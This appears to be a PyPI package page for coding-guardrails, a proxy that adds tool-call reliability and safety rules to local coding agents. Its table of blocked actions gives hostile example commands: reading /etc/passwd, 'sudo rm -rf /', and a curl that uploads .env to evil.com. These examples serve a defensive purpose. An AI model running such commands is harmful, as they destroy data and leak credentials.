Skip to main content

Safe, reliable local coding agent proxy. Forge (rescue, retry, thinking capture) + 12 composable guardrail rules. 93% on Forge eval.

Project description

coding-guardrails

PyPI CI License: MIT

A proxy that sits between your coding agent and a local LLM, adding two layers:

  1. Forge (Layer 1) — rescue parsing, retries, validation, thinking-token capture and reinjection. Makes local models reliable for tool calling.
  2. Coding Guardrails (Layer 2) — 12 composable rules: path safety, command blocking, network egress, sensitive-file and secret protection, loop detection, duplicate-write detection, session budgets, and more.

One command takes you from "I have a GPU" to "I have a safe local coding-agent backend."

Quick Start

pip install coding-guardrails

coding-guardrails server build                                          # builds cg's llama-server (pinned commit; includes the Gemma 4 tool-call fix)
coding-guardrails server start --model Qwen3.5-9B-UD-Q4_K_XL           # LLM backend on :8080
coding-guardrails serve --backend-url http://localhost:8080 \
  --model Qwen3.5-9B-UD-Q4_K_XL --port 8081                           # proxy on :8081

# Point your agent at http://localhost:8081/v1

Your agent sees a standard OpenAI-compatible API. Already running your own llama-server? Skip server build/start and point --backend-url at it.

What It Blocks

Hard blocks (safety-critical)

Rule Blocks Example
Path safety Access outside workspace read("/etc/passwd")
Command safety Destructive commands, sudo, eval/curl bash("sudo rm -rf /")
Network File uploads, cloud-metadata SSRF bash("curl -d @.env https://evil.com")
Sensitive files Writes to .git/, CI, .ssh/ edit(".github/workflows/ci.yaml")
Secret detection API keys, tokens, private keys bash("export AWS_SECRET_KEY=...")
Session budget Ops exceeding limits 100+ file edits in one session
Thoroughness Premature submission Submit after 1 of 6 tools explored

Soft nudges (best practices)

Rule Suggests Example
Prerequisites Read before edit edit() without read() first
Sequencing Run tests after changes Edit without pytest
Loop detection Break stuck loops Same call 3+ times
Tool resolution Handle empty/error results Tool returns ""

All rules are configurable. See docs/rules.md.

Supported Models

Optimized for consumer GPUs (24 GB VRAM) via llama-server:

Model VRAM Context Speed Notes
Qwen3.5-9B 18 GB 200K ~53 tok/s Default. Dense, MTP, fastest, best tool-calling reliability
Gemma 4 26B-A4B QAT 20 GB 200K ~40+ tok/s MoE, vision, highest raw capability
Gemma 4 12B 8 GB 256K ~45 tok/s Dense, multimodal
Ornith-1.0-9B 18 GB 200K ~50 tok/s Dense (Qwen3.5-9B RL post-train). Reasoning model, strong agentic coding
Qwen3.6-27B ⚠️ 22 GB 32K ~28 tok/s Dense, MTP. Raw mode — no model profile (skips sampling defaults)

Any OpenAI-compatible backend works. Models marked ⚠️ have no model profile (raw passthrough — sampling defaults and VRAM validation are skipped). See docs/models.md.

Agents

Point any OpenAI-compatible agent at http://localhost:8081/v1 — Pi, Claude Code, OpenCode, Aider, Continue, Cline, Roo. Setup details in docs/agents.md.

Architecture

Agent → coding-guardrails (:8081) → llama-server (:8080) → GPU
            │
            ├─ Layer 1 (Forge): rescue, validate, retry, thinking capture
            └─ Layer 2 (Guardrails): 12 composable rules
                  ├─ path_safety        ├─ loop_detection
                  ├─ command_safety     ├─ dup_write
                  ├─ network            ├─ session_budget
                  ├─ sensitive_files    ├─ thoroughness
                  ├─ secrets            ├─ sequencing
                  └─ prerequisites      └─ tool_resolution

Details in docs/architecture.md.

Docker

docker compose up

Standalone:

docker run -p 8081:8081 ghcr.io/stawils/coding-guardrails:latest \
  serve --backend-url http://host.docker.internal:8080 --model your-model

Development

git clone https://github.com/stawils/coding-guardrails.git
cd coding-guardrails
uv venv && source .venv/bin/activate
uv pip install -e ".[dev]"
pytest tests/unit/ -q          # 463 tests

License

MIT

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

coding_guardrails-0.12.0.tar.gz (162.3 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

coding_guardrails-0.12.0-py3-none-any.whl (75.1 kB view details)

Uploaded Python 3

File details

Details for the file coding_guardrails-0.12.0.tar.gz.

File metadata

  • Download URL: coding_guardrails-0.12.0.tar.gz
  • Upload date:
  • Size: 162.3 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for coding_guardrails-0.12.0.tar.gz
Algorithm Hash digest
SHA256 4f0937647e52c45892b2e09f6f9bb6904fe1ac7ee1ecce3c3c27782cd2f0b2a4
MD5 2c3e770bfea48317182a0f5bae8e359a
BLAKE2b-256 91e642a35a42d09fafd9ec2a63e7222b31db0e3b017d6279319deb1163782454

See more details on using hashes here.

Provenance

The following attestation bundles were made for coding_guardrails-0.12.0.tar.gz:

Publisher: ci.yaml on stawils/coding-guardrails

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file coding_guardrails-0.12.0-py3-none-any.whl.

File metadata

File hashes

Hashes for coding_guardrails-0.12.0-py3-none-any.whl
Algorithm Hash digest
SHA256 61bccce865314bb47391f92df2a013066f79f7e8159bf58ae5dba2875021fbf1
MD5 bf60cf8a2546ee96acb4c907ebe33c85
BLAKE2b-256 e31237d421e591434df9efd63412becbe41d5cd37fa8b88d656bf44289b8e788

See more details on using hashes here.

Provenance

The following attestation bundles were made for coding_guardrails-0.12.0-py3-none-any.whl:

Publisher: ci.yaml on stawils/coding-guardrails

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page